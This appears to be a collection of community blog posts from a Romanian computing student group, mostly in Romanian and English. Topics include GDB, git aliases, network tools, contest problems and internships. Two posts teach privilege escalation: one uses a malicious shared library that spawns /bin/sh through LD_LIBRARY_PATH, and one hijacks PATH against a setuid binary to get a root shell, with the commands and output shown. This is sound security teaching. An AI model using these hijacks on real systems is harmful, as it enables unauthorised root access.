Let’s take a simple program that uses our function:

/* main.c */
#include <stdio.h>
#include "random.h"

int main(void)
{
	printf("8ball says:%d\n", xkcd_random());
	return 0;
}

If we want to use out shared object file in the current directory, we have to do two things. First, compile the program and link the shared library (with the -l flag) using libraries in the current directory (we do that using the -L. flag).

$ gcc -o main -L.  main.c -lrandom

Second, the library will be linked at compile time, but it won’t be loaded at runtime unless the loaded knows where the library is, with the help of the LD_LIBRARY_PATH variable.

$ ./main ./main: error while loading shared libraries:
librandom.so: cannot open shared object file: No such file
or directory
$ export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH
$ ./main
8ball says:4

To ensure that we can always use the library, we can place it in the system’s library directory. Note that this means that we trust the code of that library and only the administrator can do this

# mv librandom.so /usr/lib

So now, each time the main program runs, the loader will dynamically load the random function from the system. But what if we have another function, from another library that has the same name, but does something else:

/* evil.c */
#include <unistd.h>
int xkcd_random()
{
	return 666;
}

$ gcc --share -fPIC -o librandom.so evil.c

If we overwrite the LD_LIBRARY_PATH variable with the . directory, the loader will use the ./librandom.so instead of /usr/lib/librandom.so and it doesn’t require any modification of the main program (no recompile needed).

$ ./main
8ball says:4
$ export LD_LIBRARY_PATH=.:LD_LIBRARY_PATH
$ ./main
8ball says:666

This is a similar to the PATH variable hack discussed in the previous article, but at a much more lower level. We can add a possible exploit here, like a shell execution:

#include <unistd.h>
int xkcd_random()
{
	execlp("/bin/sh", "/bin/sh", NULL);
	return 666;
}

Like we did before, we used a root-owned executable that had the SETUID bit set, in order to run things as root.

$ ls -la main
-rwsrwsr-x 1 root root 7192 2012-04-18 15:13 main
$ export LD_LIBRARY_PATH=.:LD_LIBRARY_PATH
$ ./main
8ball says:4

The program executed safely.

The Library Loader is smart enough to ignore the LD_LIBRARY_PATH when the executable is setuid-ed, because of exact such attacks. So even though you can exploit programs as a normal user, you can’t affect system. So low level is a little more secure than scripting level.

Here is a related article that explains why LD_LIBRARY_PATH exists but also why it’s evil.

PageRank este un algoritm de analiză a hiperlegăturilor din Internet, folosit de motorul de căutare Google pentru a acorda o pondere fiecărui element dintr-o mulțime de documente interconectate prin hiperlegături, cu scopul măsurării importanței relative în cadrul mulțimii. Fiecare pagină din acest set poate conține link-uri spre alte pagini. Spre unele pagini vor fi îndreptate mai multe link-uri decât spre altele. Cu alte cuvinte, un utilizator (care navighează pe Internet, accesând diverse pagini întâmplător) va accesa cu o probabilitate mai mare unele resurse, iar alte resurse vor fi accesate cu o probabilitate mai mică. În funcție de numărul de link-uri care duc spre această pagină.

Putem spune că paginile care vor fi vizitate cu o probabilitate mai mare sunt mai importante decât celelalte (conțin informații mai multe, sunt articole mai citite decât altele etc). Un motor de căutare va trebui să redirecteze în prim-plan paginile cele mai importante (astfel încât dacă un utilizator caută un ac (anumite informații, în funcție de cuvintele-cheie tastate de acesta) în carul cu fân (mulțimea tuturor paginilor web), atunci această sarcină să nu fie la fel de proverbial imposibilă. Astfel, un motor de căutare are nevoie de un mod de a măsura importanța unei resurse din cadrul unui set, și de un algoritm de calcul a acestei importanțe.

Un algoritm care calculează acest factor este PageRank, iar unitatea de măsura folosită este indicele PageRank. Vom nota în continuare cu PR(R) indicele PageRank al resursei R.
Pentru a înțelege cum funcționează acest algoritm, să ne imaginam că vrem să calculam cât de importantă este pagina A, de exemplu. Să notăm cu M(A) mulțimea tuturor paginilor din care se poate ajunge la pagina A printr-un singur click. Fie B o pagină din mulțimea M(A). Evident, cu cât probabilitatea ca un utilizator să ajungă la pagina B este mai mare, cu atât probabilitatea de a ajunge la A este mai mare. De asemenea, cu cât numarul de link-uri deținut de pagina B este mai mare (vom nota cu L(B) acest numar) este mai mare, cu atât probabilitatea ca următoarea pagină vizitată să fie A este mai mică.
Dacă luăm în considerare și celelalte pagini din M(A), precum și probabilitatea ca un utilizator să continue navigatul pe Internet (această probabilitate este dată de un coeficient d), atunci formula pentru a calcula PR(A) (considerând că se știe PR(B)) este:

O metodă importantă folosită în algoritmul de PageRank este bazată pe funcțiile membru din logica fuzzy. Logica fuzzy este o logică care extinde logica clasică, booleană. Astfel, dacă în logica booleană o propoziție ia valori dintr-o mulțime a cărei cardinal este 2, în logica fuzzy valoarea de adevar a unei propoziții aparține intervalului [0,1]. Aceaste valori sunt date de așa-zisele funcții membru.

Sursa: TemaS MN 2012 – CTI, Automatică și Calculatoare, Politehnica București.

Problema 11 a concursului apare mai repede decât e anunțat în regulament doar pentru ca media să fie cum trebuie :P E destul de lejeră, ar trebui să fie făcută destul de repede. și e cam ultima de acest fel, sau prima :P

Ideea e simplă. Se cere să simulați un automat celular descris de Stephen Wolfram până la o anumită iterație și din șirul obținut acolo să extrageți toate pattern-urile de o anumită lungime care se repetă de mai mult de un anumit număr de ori.

 Ca input, veți primi ca argumente în linia de comandă un set de 4 numere.

Primul dintre ele specifică regula după care va trebui să construiți automatul (Wolfram Code). De exemplu 30 se va traduce în exact regula din titlu. Regula zice ce culoare va avea o celulă în iterația următoare pe baza culorilor curente deținute de celulele dintr-o vecinătate a celulei curente.

Vecinătatea este fixată la 1 pentru etapa curentă. Una dintre etapele următoare va ridica această restricție. Puteți să vă folosiți de asta când veți scrie codul.

Al doilea număr specifică iterația la care trebuie să ajungeți. Simulați automatul până acolo. Aveți grijă că acest număr poate fi maxim 1024 pentru această problemă dar va fi ridicată și restricția asta în viitor.

Al treilea număr specifică lungimea patternului (maxim 10 pentru etapa asta) iar ultimul specifică numărul minim de apariții (pozitiv, maxim 5 pentru etapa asta).

Un exemplu de linie de comandă este:

execname 30 10 3 3

Semnificând identificarea tuturor pattern-urilor de lungime 3 care se repetă de cel puțin 3 ori în a 10-a iterație a unui automat ce evoluează după rule 30. Adică, linia 10 din imaginea următoare (linia de start, cea cu un singur pătrat este 0; linia la care ne referim începe cu NNAANA și se termină cu NNAAN).

Ca output veți afișa fiecare pattern pe o linie: întâi tipul pattern-ului (N pentru negru, A pentru alb) și apoi lista de coordonate ale poziției de start, cu originea dată de poziția celulei de pe prima linie. În cazul nostru, veți afișa.

NNA -10 3 6
NAA -9 -6 7
AAN -8 -3 8

Pattern-urile pot fi afișate în orice ordine.

Timpul de rulare este dat de formula următoare unde este numărul iterației în care trebuie să căutați pattern-ul.

Ponderea este de 2.0.

Spor.

PS: Ca istorie, în anul 2 de facultate citeam ANKS. Și încă de pe atunci am fost fascinat de pattern-ul din ultima poză de la finalul articolului regulii. Ieri mi-am reamintit de ieri în timp ce testam chestii legate de pattern-urile de la Boltz. :P

If you didn’t read the techblog Git Tips and Good Practices article yet, you should, as it offers tips every git user should know, together with some very useful references.

When using git for the first time, one has to specify his name and email, so git can associate the commit with who committed it:

$ git config --global user.name "Firstname Lastname"
$ git config --global user.email "your_email@youremail.com"

This adds info to ~/.gitconfig, a global configuration file git uses. Also, every git project has its own .git/config file (similar to the global one), and any options from this file overwrites the options from the global file.

andrei@sherlock:~$ cat ~/.gitconfig
[user]
    name = Andrei Petre			# filled by the
    email = p31andrei@gmail.com		# above commands
[color]
    ui = auto
    pager = true
[core]
    editor = vim
[github]
    user = andreip
    token = ...
[alias]
    co = checkout
    ci = commit
    st = status
    br = branch
    df = diff
    pa = add --patch
    rlog = reflog			# useful for lost SHA's
    type = cat-file -t
    dump = cat-file -p
    hist = log --pretty=format:\"%h %ad | %s%d [%an]\" --graph --date=short
    lg = log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset 
         %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --date=relative

Most of these configurations are self explanatory. The part that I find it most useful and what this article was all about (but needed an intro) are the last two aliases.

• git hist (from gitimmersion) is a short version of git log

• git lg (from Andrei Maxim) is also a short and pretty formatting version of git log

Use the one you like best, and add speed to your workflow.

Matei Oprea a trimis o soluție pentru problema 5 a concursului de programare. În timp ce o testam am observat că există cazuri pe care outputul lui și outputul meu nu se potriveau. Așa că am făcut o mică simulare de mână.

Și nu mare mi-a fost mirarea când am descoperit pattern-uri noi, neașteptate. Sunt anumite inputuri pentru care problema nu are soluție.

Prin urmare, problema iese din concurs în formatul actual dar va fi schimbată astfel: orice conjectură, teoremă, demonstrație pentru comportamentul ei va fi premiat cu maximul de punctaj dacă este corectă. Primul care primește aceste puncte este Matei.

Nu e de programare aici dar e o soluție de compromis ok.

Programmers are scared of concurrency, and rightly so. Managers are scared of concurrency even more. If programmers were electricians, parallel programmers would be bomb disposal experts. Both cut wires. Except that, when the latter cut the wrong wire, mayhem ensues. We make mistakes in coding and we have systems for debugging and testing programs — there is no such system for concurrency bugs.

Quote-ul e un fragment dintr-un articol citit acum câteva zile. Voi ține o scurtă prezentare despre Haskell peste fix o săptămână la următoarea întâlnire RLUG. Acolo veți vedea și legătura cu titlul și legătura cu motto-ul și multe alte lucruri interesante. Și vom vedea cum va evolua prezentarea :)

See you there. Nu uitați să vă treceți pe wiki.

Toata lumea vorbeste de stagii, de oportunitati in cariera, companiile iti spun ca este fun si ca poti sa castigi bani. Care insa sunt motivele cu adevarat importante pentru care este bine sa faci un stagiu.

Noi am identificat cele mai importante 3 motive si vi le prezentam intr-o ordine oarecare.

1. Stagiul ca o perioada de descoperire

Copiii cand sunt mici au tot felul de vise referitor la ce se vor face cand vor fi mari. Studentii de la Calculatoare stiu ca vor lucra in domeniul IT. Dar cand un student este intrebat ce vrea sa faca la sfarsitul facultatii in general ridica din umeri. De ce? Pentru ca sunt multe ramuri interesante in acest domeniu pe care nu au apucat sa le cunoasca. Studentul obisnuit nu stie daca vrea sa faca jocuri sau sisteme distribuite sau web pentru ca nu a avut ocazia sa vada ce se intampla in aceste domenii. Nu stie nici macar daca vrea sa faca development sau management sau analiza sau QA. Stagiul este una din putinele perioade in care ai ocazia sa iti alegi un domeniu, sa vezi ce inseamna sa lucrezi pe o astfel de pozitie, sa poti sa afli daca ti-ar placea sa continui pe aceasta directie pe termen lung. Este momentul in care poti sa descoperi ce iti place sa faci (Choose a job you love, and you will never have to work a day in your life)

2. Stagiul ca o perioada de proba

Multe firme folosesc stagiul ca o perioada de proba. Daca esti pasionat de ceea ce faci si te descurci si inveti repede foarte probabil iti vor propune un contract pe perioada nedeterminata. Nu esti obligat sa accepti si noi recomandam sa nu accepti in nici un caz o colaborare full-time daca nu ti-ai terminat studiile. Totusi stagiul poate fi un punct bun de pornire pentru o colaborare cu un viitor angajator. Poti colabora part-time daca poti face fata la facultate (nu recomandam colaborarea part-time pentru studentii care nu au terminat anul 3) sau poti sa pornesti o colaborare pentru derularea unei lucrari de diploma.

3. Stagiul ca o perioada in care acumulezi experienta

Un criteriu important cand te angajezi este experienta anterioara. Un angajator se uita atat la cunostinte dar si la experienta precedenta indiferent daca tu tocmai ai terminat facultatea. Se uita daca ai contribuit intr-un ONG, daca ai facut stagii in domeniu, daca ai avut proiecte interesante in facultate. Stagiul demonstreaza experienta practica, dorinta de a invata, abilitatea de a te integra intr-o organizatie. Efectuarea unuia sau (preferabil) a mai multor stagii in perioada studiilor iti ofera perspective substantial mai bune de a gasi un job bun si mai bine platit.

Daca din experienta voastra ati mai gasit si alte motive nu ezitati sa ni le impartasiti

Campania de promovare a Facultății de Automatică și Calculatoare în liceele de profil mate-info, ediția 2011-2012, a vizat 28 de licee din 10 orașe.

Campania a fost coordonată de Răzvan Rughiniș și de Daniel Rosner.

Prezentare în liceul Al.I. Cuza în campania 2011-2012 from blogcspub on Vimeo.

În cadrul vizitelor vorbitorii au prezentat facultatea și comunitatea studențească ACS, discutând despre oportunitățile diverse de învățare și de dezvoltare profesională.

Au fost discutate în detaliu cele două direcții de studiu ale facultății, incluzând curriculum-ul și opțiunile de carieră.

Un aspect distinct al discuțiilor a avut în vedere clarificarea diferențelor dintre o facultate de inginerie și o facultate teoretică.

Prezentările în licee s-au bucurat de o primire generoasă și deschisă. Elevii și profesorii implicați în eveniment au oferit un feedback favorabil, apreciind în mod deosebit interactivitatea discuțiilor și problemele de interes practic discutate.

Problema 9 pentru concurs vine înainte de termen, ca o recompensă pentru întârzierile de la celelalte. Este inspirată dintr-un comic văzut azi — da, am renunțat la 9gag dar văd altele — și e destul de simpluță.

Reducem jocul la un joc cu un singur jucător pentru a fi mai simplu și a se potrivi cu tema concursului. Se dă un careu de în care vor trebui trecute numerele , fiecare o singură dată. Presupunem că Mike a completat deja un anumit număr de celule. Randall va trebui să le completeze pe celelalte în așa fel încât să existe un drum de pe linia de sus până pe linia de jos trecând doar prin celulele cu valori maxime pe linie.

Un drum poate merge numai prin celule cu cel puțin un colț în comun.

Ca input veți primi un nume de fișier ca argument în linia de comandă. Conținutul fișierului conține numere și caracterul ? pentru căsuțele goale. Toate numerele sunt aliniate dreapta. De exemplu:

 1  2 3 ?
11 10 4 ?
 ?  ? ? 8

Ca output printați la stdout același careu cu toate numerele completate. Trebuie să existe un drum de sus până jos pentru a fi validă soluția. De exemplu, veți afișa

 1  2 3  5
11 10 4 12
 7  6 9  8

cu drumul: 5 – 12 -9. Observați că se aliniază și în output numerele la dreapta și că nu există spații puse aiurea (deci nu printați de exemplu cu %5d numere de 2 cifre).

Sunt 10 teste, fiecare test trecut valorează 10 puncte. Fiecare careu umplut corect dar care nu oferă un drum de pe prima până pe ultima linie primește doar 2 puncte.

Timp de rulare pentru fiecare test: 1s.

Ponderea este de 1.8. Încă puțin și se ajunge la probleme de valoare dublă primeia (dar nu se va mai putea rezolva aia în curând, vedeți regulamentul).

Spor.

The GNU Debugger Command (GDB) is a very useful debugging tool, widely used in the C environment.

Workflow

GDB can be run in two distinct ways:

• using the gdb command
• using a core generated file, usually from a serious error

Let’s have a look at the former one on a simple program:

int random() {
	int r = 4;
	return r;
}

int main() {
	char *no_addr = 0;
	*no_addr = random();
	return 0;
}

The -g compiler option is used to add debugging information to the executable (here a.out) for use by GDB. We’ll run it again using gdb, because the above code gives us a segfault error:

$ gcc -Wall -g random.c
$ gdb a.out
[...]
(gdb) run
Program received signal SIGSEGV, Segmentation fault.
0x080483c5 in main () at random.c:7
7		*no_addr = random();

So this helps us a lot, it even shows us the line causing the problem. Now we’ll create a core file to show how the latter one works, too. Note that # at the beginning of the line specifies that commands are run as root:

# ulimit -c 4      			# set core file size to 4 blocks
# ./a.out
Segmentation fault (core dumped)
# gdb ./a.out core
Core was generated by `./a.out'.
Program terminated with signal 11, Segmentation fault.
#0  0x080483cd in main () at random.c:7
7		*no_addr = random();

Useful commands

Let’s see a common workflow, while using GDB:

$ gdb a.out				# run with gdb debugger
(gdb) break main			# set up breakpoint at main() function
Breakpoint 1 at 0x80483bc: file random.c, line 6.
					# this suspends the program
					# can also receive file name (break random.c:3)
					# or address (break *0x080483c5)
(gdb) run				# .. just run the thing
Starting program: /home/andrei/a.out 

Breakpoint 1, main () at random.c:6	# it stops at first breakpoint
6		char *no_addr = 0;
(gdb) next				# execute next line, doesn't enter functions
7		*no_addr = random();
(gdb) step				# like next, but enters functions
random () at random.c:2
2		int r = 4;

(gdb) next
3	return r;
(gdb) print r				# print values in decimal
$1 = 4
(gdb) print /x				# hexa
$2 = 0x4
(gdb) print /o				# octal
$3 = 04
(gdb) print &r
$4 = (int *) 0xbfffef5c
(gdb) list				# list source code
1    int random() {
2        int r = 4;
3        return r;
4    }
5    int main() {
6        char *no_addr = 0;
7        int r = random();
8        *no_addr = r;
9        return 0;
10    }

(gdb) break 8 				# add breakpoint at line 8
Breakpoint 2 at 0x80483cb: file random.c, line 8.
(gdb) continue 				# continue to next breakpoint
Continuing.

Breakpoint 2, main () at random.c:8
8		*no_addr = r;
(gdb) next

Program received signal SIGSEGV, Segmentation fault.
0x080483d3 in main () at random.c:8
8		*no_addr = r;
(gdb) backtrace 			# print stack backtrace; show trace of where you are
					# which functions you're in
#0  0x080483d3 in main () at random.c:8
(gdb) quit

Now, some other thing you may find useful is to have the value of an expression get printed frequently (automatically, of course). You can do that with display expression. Take this sample code:

int main() {
	int i, j = 0;
	for (i = 0; i < 10; i++)
		j += i * 10;
	return 0;
}

And run it in gdb:

(gdb) break main
Breakpoint 1 at 0x804839a: file random2.c, line 2.
(gdb) run
Starting program: /home/andrei/a.out 

Breakpoint 1, main () at random2.c:2
2		int i, j = 0;
(gdb) next
3		for (i = 0; i < 10; i++)
(gdb) next
4			j += i * 10;
(gdb) display i
1: i = 0
(gdb) display j
2: j = 0
(gdb) break 4 if i == 8
Breakpoint 2 at 0x80483aa: file random2.c, line 4.
(gdb) continue
Continuing.

Breakpoint 2, main () at random2.c:4
4			j += i * 10;
2: j = 280
1: i = 8

This way you can see how your variables’ value change. To delete a display, use the number associated with it:

(gdb) delete display 2
(gdb) next
4			j += i * 10;
1: i = 3

One last trick worth mentioning in this initial GDB tutorial is setting up your ~/.gdbinit file. When GDB starts up, it looks for a file in the current user’s home directory called .gdbinit; this file is used for simple configuration commands. The format is the following:

define <command>
<code>
end
document <command>
<help text>
end

A simple example of .gdbinit:

andrei@sherlock:~$ cat .gdbinit
define cls
shell clear
end
document cls
Clears the screen with a simple command.
end

define bpl
info breakpoints
end
document bpl
List breakpoints
end

Now you can use cls to clear the screen in gdb, or you can find what breakpoints you’ve set:

(gdb) bpl
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x0804839a in main at random2.c:2
2       breakpoint     keep y   0x080483aa in main at random2.c:4

You can also use .gdbinit inside your project’s directory to include commands used only for this project. It will be read when starting gdb in that directory and it overwrites the settings in ~/.gdbinit. You can add into it a few commands to be run when the gdb starts: commands like setting up the breakpoints and the values used with display commands.

Using the previous source code, we add the following .gdbinit file in the same directory:

b main
r
disp i
disp j
disp /x i
disp

Now, we can run gdb:

$ gdb -q ./a.out
Reading symbols from /tmp/a.out...done.
Breakpoint 1 at 0x804839a: file 1.c, line 5.

Breakpoint 1, main () at 1.c:5
5		int i, j = 0;
3: /x i = 0x0 2: j = 134513616
1: i = 0
(gdb) n
6		for (i = 0; i < 10; i++)
3: /x i = 0x0
2: j = 0
1: i = 0
(gdb) q

Observe the last disp in the .gdbinit file, used to display all expressions defined up to that point.

If you want to disable reading the .gdbinit files, pass a -n flag to gdb just like we passed -q above to strip the header with version info.

Final notes. CGDB is a curses front-end to GDB and is more friendly and coloured than GDB. Also, try this in GDB (I know this from Andrada):

(gdb) b main
Breakpoint 1 at 0x804839a: file random2.c, line 2.
(gdb) r
Starting program: /home/andrei/a.out 
Breakpoint 1, main () at random2.c:2
2		int i, j = 0;
(gdb) -					# add dash and enter

For more on GDB, check out this tutorial, 8 gdb tricks you should know.

[Originally posted on techblog.rosedu.org]

On modern Linux distributions, the users have two main possibilities of configuring the network: ifconfig and ip.

The ifconfig tool is part of the net-tools package along side other tools like route, arp and netstat. These are the traditional userspace tools for network configuration, made for older Linux kernels.

The iproute2 is the new package that comes with the ip tool as replacement for the ifconfig, route and arp commands, ss as the new netstat and tc as a new command.

There are pros and cons for each of them and there are users (and fans) of each. Let’s see the differences…

First of all, why was the iproute introduced? There had to have been a need for it… The reason was the introduction of the Netlink API, which is a socket like interface for accessing kernel information about interfaces, address assignments and routes. The tools like ifconfig used the /proc file hierarchy (procfs) for collecting information. The output was reformatted data from different network related files in /proc.

alexj@hathor ~/techblog $ strace -e open ifconfig eth0 2>&1|grep /proc open("/proc/net/dev", O_RDONLY) = 6 open("/proc/net/if_inet6", O_RDONLY) = 6

The costs for the operations like open and read from these files were rather big compared for the netlink interface. For comparison, let’s assume that we have a large number of interfaces (128) with IPv4 and IPv6 addresses and their associated connected routes.

alexj@hathor ~/if $ time ifconfig -a >/dev/null real 0m1.528s user 0m0.080s sys 0m1.420s alexj@hathor ~/if $ time ip addr show >/dev/null real 0m0.016s user 0m0.000s sys 0m0.012s

But most of normal users are not that geeky to care about millisecond speedup. They do, however, care about usability. And iproute2 does seem to have a better user interface. The ip command is better organized, in what they called objects. Links, addresses, routes, routing rules, tunnels are all objects, that can be added, deleted or listed. If a user learns how to add an address, by intuition, he can easily guess how to add a route, for example, because the syntax in similar.

Keyword shortening and auto completion makes the ip command more efficient by removing redundant characters. The following commands are identical as effect:

ip address show ip address ip addr show ip a s ip a

Some network engineers will like iproute2 because it’s similar to Cisco’s IOS: “ip route show” in Linux vs “show ip route” in IOS. Another usability feature is that you have the \number format for subnet masks instead of the quadded-decimal format, the first one being shorter to write and more up to date with the concept of VLSM.

So what does ifconfig still have to keep it around? Its biggest weakness is its biggest strength: its age. ifconfig has been out and used for so long that it’s very hard to put it away. Still many scripts in the heart of Linux distributions rely on ifconfig to work and most system administrators are used to the ifconfig command and it’s hard to move them to something new and unfamiliar. A lot of tutorials on the Internet about network configuration teach ifconfig and not iproute2 to beginners. For example, LPIC-1, one of the biggest Linux Certification out there, still requires ifconfig skills for passing the exam and barely mentiones iproute2.

When released, iproute2 had at least one advantage over ifconfig, and that was the feature of interacting with the IPv6 stack while ifconfig was only for IPv4. But since then, fans of ifconfig patched it so it could also be IPv6 ready.

But other features were not replicated. In old Linux Kernels, an interfaces could have only one IP address, so in ifconfig you could configure only one IP address on an interfaces. In newer kernels, each interface has a list of addresses and iproute2 via the NetLink interface could manage them. Latest ifconfig versions still rely on the idea of subinterfaces to provide more than one address on an interfaces.

So, given all these arguments, iproute2 should be declared the winner. But it’s not that easy. Just like in the case of IPv4 vs IPv6, where the latter one is the obvious choice, iproute2 will eventually replace ifconfig. Only it’s going to take a long time for that to happen, so net-tools will still be around for some time, but they will be eventually phased out.

Viaţa de student a avut, are şi va avea întotdeauna farmecul ei aparte. De la mic la mare, am trăit cu toţii pe propria piele, mai mult sau mai puţin momente de neuitat. În general studenţia este caracterizată de lipsuri, foamete în cămin şi multă reciprocitate. Dacă pe de o parte suntem acel segment boem al societăţii(fără abonament la regia de transport ), pe de altă parte constituim viitorul şi speranţa unei societaţi mai bune. În acest sens, e bine de ştiut că există programe educaţionale adresate nouă care au ca scop responsabilizarea şi introducerea noastră în ceea ce va fi ziua de mâine. Un astfel de program este “Stagii pe bune”.

Cu siguranţă “Stagii pe bune” este binevenit pentru toţi studenţii ce studiază IT&C. Indiferent de nivelul de cunoştiinţe sau cel aspiraţional, programul aduce beneficii şi avantaje. Printre ele, cele mai importante le consider a fi următoarele:

→ facilitarea accesului în companiile din domeniul IT&C. Programul “Stagii pe bune” are deja o tradiţie de 8 ani în care şi-a consolidat parteneriate puternice cu majoritatea companiilor mari de IT din România. Aş îndrăzni să afirm că stagiarii lor din timpul verii sunt în proporţie mare, studenţi admişi prin programul “Stagii pe bune”.

→ knowledge test. Se întâmplă de multe ori să avem o percepţie greşită asupra nivelului nostru de cunoştiinţe. Uneori ne supraestimăm, alteori ne subevaluăm. Cea mai bună soluţie este să go out there şi să ne măsurăm forţele. O confirmare aduce self-confidence în timp ce un eşec aduce motivaţie. Indiferent de rezultat, câştigul este de partea noastră.

→ interview experience. The more, the better. Experienţa şi utilitatea interviurilor este incontestabilă. Aplicarea la mai multe companii aduce implicit mai multe interviuri din care se invaţă nu doar subtilităţile tehnice, dar şi un control mai bun al emoţiilor.

Pentru mine, “Stagii pe bune” a fost în anii de facultate nu doar un puternic punct de sprijin ci un deschizător de drumuri. În fiecare an, programul mi-a oferit un cadru optim în care să-mi construiesc aplicaţia şi ulterior să-mi găsesc stagiul potrivit. În trei ani consecutivi, am desfăşurat trei stagii diferite, în urma cărora nu doar am acumulat experienţă sau dobândit cunoştiinţe tehnice, ci am legat prietenii şi am rămas cu amintiri plăcute.

În primul an am participat la un stagiu organizat de ROSEdu în facultate în urma căruia am luat contact cu metodologiile open-source şi am cunoscut mai bine comunitatea. Am avut şansa să cunosc oameni experimentaţi care mi-au fost mentori nu doar în acea stagiatură dar şi ulterior. Consider că a fost o experienţă foarte plăcută care mi-a deschis apetitul şi curiozitatea spre cunoaştere pentru ceea ce a urmat.

În anul următor, tot prin “Stagii pe bune”, am fost cooptat într-un proiect de cercetare desfăşurat în facultate în cadrul departamentului de Semantic Web. A fost una din cele mai frumoase veri din anii de facultate, o vară în care am îmbinat utilul cu plăcutul, o vară în care am învăţat o mulţime de lucruri noi de la nişte oameni extraordinari cu care ulterior am legat o prietenie strânsă. Am avut şansa să lucrez cot la cot cu foşti interni Google şi Facebook, precum şi viitori studenţi MIT. Cu cei mai mulţi dintre ei am păstrat şi după încheierea stagiaturii o relatie foarte buna atât pe plan profesional cât şi uman. Overall, a fost o experienţă foarte plăcută care ulterior, m-a ajutat mult.

La sfârşitul anului III de facultate, “Stagii pe bune” m-a trimis în ‘cuibul balaurilor’
După două interviuri tehnice şi unul de proiect, timp de trei luni am fost intern la balaur.ro. Pentru cei care nu stiu, balaur.ro este un start-up românesc, care furnizează un motor de căutare de job-uri. În spatele lui stă o echipă de tineri profesionişti, motivaţi şi foarte pasionaţi. Mi-ar fi foarte greu să aleg ce mi-a plăcut mai mult între echipă şi proiectul la care am lucrat. O data cu această experienţă m-am convins că există o strânsă corelare între ele şi consider că pentru mine cel puţin a fost o experienţă de neuitat. Am avut ocazia să dezvolt produsul în iteraţii scurte dupa modelul Agile-development, să asimilez metodologia de startup, mult diferită de cea corporatista, fiind mult mai dinamică şi antrenantă, să scriu cod care a doua zi sa afecteze zeci de mii de utilizatori şi aşa mai departe. Inginerii de la balaur.ro au fost de departe “laitmotivul” internshipului fiind în permanenţă o echipă mereu deschisă la provocari şi oricând gata să ofere o mână de ajutor. Per ansamblu, a fost exact ceea ce aveam nevoie la sfârsitul anului trei.

Aşadar, nu pot decât să mulţumesc programului “Stagii pe bune” care în fiecare an mi-a oferit ocazia să cunosc colective noi de la care să învăţ lucruri interesante şi în urma cărora să am o dezvoltare profesională continuă.

Conclusiv, nu-mi rămâne decât să admit că perfomanţele ştiinţei sunt uluitoare. Vorbim astăzi de inteligenţă artificială, de maşini capabile să interpreteze text, de fotosinteză artificială, de primul copil clonat sau de roboţi care schiază. Toate acestea au loc în condiţiile unor ritmuri accelerate ale schimbărilor, a creşterii densităţii de evenimente pe unitatea de timp, precum şi a creşterii vitezei de învechire a cunoştiintelor. Tehnologiile de vârf sunt într-o uimitoare evoluţie astfel încât inginerii din domeniul IT trebuie să fie dinamici şi primii gata de schimbare. Acesta este motivul pentru care recomand tuturor studenţilor să ia parte în programul “Stagii pe bune” şi să fie, încă de pe băncile facultăţii, într-o permanentă conectare la ceea ce înseamnă schimbare.

Mihai Tabara
student UPB - Calculatoare

O nouă problemă pentru concurs, numărul 7. Chiar dacă vine cu întârziere, vă veți aminti un joc clasic.

Se dă un teren dreptunghiular cu câteva obstacole pe el. Se cere să construiți cel mai lung șarpe care ar umple terenul într-un joc de Snake.

Ca input veți primi numele unui fișier ce va conține descrierea în formatul următor: x înseamnă obstacol, . înseamnă teren liber. De exemplu:


.........
.x...x...
...x....x
.........
....x....


Ca output produceți același fișier dar cu un șarpe desenat. Punctul de plecare al șarpelui îl maracați cu # urmat de * pentru celula următoare. În continuare, veți desena >,<,^,v pentru fiecare celulă ocupată de șarpe, reprezentând direcția în care se află celula următoare. De exemplu:


......^>>
.x...x^<v
...x.*>vx
.....#.v>
....x<<<v


echivalent cu următorul drum (poziții numerotate în hexa):


......456
.x...x387
...x.129x
.....0.AB
....xFEDC


Sunt 10 teste. Pentru fiecare se va calcula lungimea șarpelui și se va obtine un scor între 0 și 100 în funcție de suma obținută de participant și suma minimă.

Timp de rulare per test 5s.

Pondere: 1.6

Spor.

Environment variables are sometimes very important when creating new processes. For example, the PATH variable, that decides what executable to run.

The easiest example to exploit PATH is to add the current directory . to the list and overwrite common shell commands with something else.

$ cat ./ls
echo P0wn3d
$ ls
file1 file2
$ ./ls
P0wn3d
$ export PATH=.:$PATH
$ ls
P0wn3d

But that can only affect the user’s shell and can’t do harm to the system. What if some other conditions exist in the system, like the use of the SUID bit. Normal processes are run as the user who executes them, regardless of who owns the executable file (as long as the user who runs the file can read the file). If the SUID is set on an executable file, any process started from that executable will run as the owner of the file, not shell owner. Here is an example of a very insecure source that shouldn’t be SUID-ed.

#include<stdlib.h>

int main(void)
{
	system("ls");
	return 0;
}

Let’s assume that the compiled executable from this code is owned by root, SUID-ed and put into /bin with the name ls_root.

$ ls -la /bin/ls_root
-rwsrwsr-x 1 root root 7163 2012-03-21 12:28 /bin/ls_root

What this will enable, for example, is the listing of the /root directory by any user.

$ cd /root
$ ls
ls: cannot open directory .: Permission denied
$ sudo ls
test
$ ls_root
test

The code simply executes the ls command. But what if the ls command isn’t doing what it is supposed to do? Given this setup, as a normal user, we can do the following:

$ ln -s /bin/sh ls
$ echo $$
32655
$ ls
ls  ls_root.c
$ ./ls
$ echo $$
32730
$ whoami
alexj
$ exit
$ export PATH=.:$PATH
$ ls_root
# whoami
root
#

The ls_root process will run the ls command. The ls command will run an executable specified by the PATH variable (the executable is /bin/ls). But if the PATH variable is changed in the current bash process, the executable ran by the ls command will now become something else. If the ls_root command is ran by root (with the help of the SUID bit), any of its children will also be processes of root. So, if the ls command will now run a bash executable, it will run a root owned executable that leads to root access.

The SUID is something that is used in Linux systems (sudo and even ping use it), but these executables are very carefully implemented so that normal users can’t exploit them.

ROSEdu Tech Talks este un eveniment ce găzduiește prezentări tehnice despre diferite subiecte din lumea IT.

Aceste prezentări au ca scop familiarizarea participanților cu diverse noțiuni și deprinderi despre dezvoltarea de software, noțiuni legate de securitate, noțiuni avansate de administrare a proiectelor software și multe altele.

Prima prezentare din noua sesiune de Tech Talks va avea ca subiect central tehnologiile Mozilla.

Valentin Goșu va susține o prezentare despre tehnologiile Mozilla, subiectele atinse incluzând:

• add-ons Firefox core – cum se contribuie la core
• boot2gecko
• live demos, bugs

Vă așteptăm în număr cât mai mare joi, 29 martie 2012, de la ora 18, în sala EG106a (laboratorul Ixia).

